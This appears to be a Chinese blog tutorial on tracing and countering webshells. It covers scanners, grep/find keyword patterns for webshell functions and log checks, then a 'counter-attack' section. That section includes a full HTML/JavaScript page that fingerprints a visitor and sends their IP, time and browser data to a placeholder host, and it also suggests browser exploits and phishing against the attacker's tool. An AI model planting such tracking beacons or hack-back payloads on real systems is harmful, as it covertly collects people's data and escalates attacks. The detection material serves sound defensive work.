Webshell溯源排査与反制

工具查杀

使用d盾、安全狗、护卫神等webshell查杀工具查杀web目录

d盾:
D盾防火墙

网站安全狗:
网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改

百度webshell查杀引擎:
https://scanner.baidu.com/#/pages/intro

手工查杀

由于某些变种webshell查杀工具很难发现,所以有些时候需要手工从其他维度去查杀,比如修改时间,日志,备份对比等。

上传目录关键字查找

上传目录是最有可能存在webshell的,一般来说需要优先排查上传目录

脚本代码排查
复制代码
grep -rn php upload/
关键字排查

eval、system、assert、phpspy、c99sh、milw0rm、gunerpress、shell_exec、passthru、bash等关键字

复制代码
find /www/upload -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval\(|file_put_contents|base64_decode'

web非上传目录排查增删查改

如果上传目录没有发现webshell,那么有可能攻击者使用了除web上传接口的其他途径写入了文件,如命令执行等,此时需要排查web目录的非上传路径。

备份对比

对比非常传目录前后文件变动,寻找可疑文件,再进一步关键字匹配分析

复制代码
vimdiff <(cd /tmp/1.1; find . | sort) <(cd /tmp/1.2; find . | sort) 
时间戳排查

跟据情况调取短期内改动文件分析

复制代码
find / -mtime -10 -mtime +1 2>/dev/null #一天前,十天内变动的文件

文件名排查

使用tree命令列举整个web目录文件,然后排查可疑文件

windows linux都可用

复制代码
tree /var/www/

日志排查

复制代码
cat /var/log/apache2/access.log | grep "antSword"

反向利用

1.篡改webshell页面利用js获取攻击者信息。

利用js获取信息例子

可获取对方ip、系统时间、浏览器各项信息等

复制代码
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title></title>
	</head>

	<body>
<script>
	Date.prototype.Format = function (fmt) {
    var o = {
        "M+": this.getMonth() + 1, // 月份
        "d+": this.getDate(), // 日
        "h+": this.getHours(), // 小时
        "m+": this.getMinutes(), // 分
        "s+": this.getSeconds(), // 秒
        "q+": Math.floor((this.getMonth() + 3) / 3), // 季度
        "S": this.getMilliseconds() // 毫秒
    };
    if (/(y+)/.test(fmt))
        fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
    for (var k in o)
        if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
            return fmt;
}
</script>
		<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script> 
		<script> 
		      document.write(returnCitySN["cip"]+','+returnCitySN["cname"]+"</br>") 
		</script>
		<script type="text/javascript">
		let time = new Date().Format("yyyy-MM-dd hh:mm:ss")
		document.write(time+"</br>")
		</script>
		<script type="text/javascript">
    document.write("userAgent: " + navigator.userAgent + "<br>");
    document.write("appName: " + navigator.appName + "<br>");
    document.write("appCodeName: " + navigator.appCodeName + "<br>");
    document.write("appVersion: " + navigator.appVersion + "<br>");
    document.write("appMinorVersion: " + navigator.appMinorVersion + "<br>");
    document.write("platform: " + navigator.platform + "<br>");
    document.write("cookieEnabled: " + navigator.cookieEnabled + "<br>");
    document.write("onLine: " + navigator.onLine + "<br>");
    document.write("userLanguage: " + navigator.language + "<br>");
    document.write("mimeTypes.description: " + navigator.mimeTypes[1].description + "<br>");
    document.write("mimeTypes.type: " + navigator.mimeTypes[1].type + "<br>");
    document.write("plugins.description: " + navigator.plugins[3].description + "<br>");
	var str_all = returnCitySN["cip"]+','+returnCitySN["cname"]+','+time+','+navigator.userAgent+','+navigator.appVersion+','+navigator.platform
	var url = "http://xx.xx.xx.xx:8000/?info="+str_all
	var request = new XMLHttpRequest();
	request.open("GET",url)
	request.send();
  </script>
	</body>
</html>

然后接收服务器写一个小处理脚本将其保存下来

为求方便也可以使用xss平台来接收

2.利用浏览器漏洞反制攻击者。

可架设攻击浏览器历史漏洞的页面,但是成功概率不高

3.反制webshell管理工具

可参考文章《端内钓鱼,反制蚁剑》

端内钓鱼,反制蚁剑

相关推荐
liann1193 小时前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20254 小时前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec5 小时前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用5 小时前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云
原来是你~呀~6 小时前
Strix:AI驱动的全自动安全测试平台,LinuxOS部署
网络安全·自动化渗透测试·strix
fendouweiqian6 小时前
AWS WAF(配合 CloudFront)基础防护配置:免费能做什么、要不要开日志、如何限制危险方法
网络安全·aws·cloudfront
乾元6 小时前
终端安全(EDR):用深度学习识别未知勒索软件
运维·人工智能·网络协议·安全·网络安全·自动化·安全架构
Whoami!6 小时前
⓫⁄₁₃ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 利用Windows计划任务提权
网络安全·信息安全·利用windows计划任务提权
虚构之人1 天前
二进制漏洞挖掘(WinAFL Fuzzing)Windows篇
汇编·网络安全·信息安全·系统安全
原来是你~呀~1 天前
CAI:人机协作的模块化网络安全AI框架
网络安全·自动化渗透测试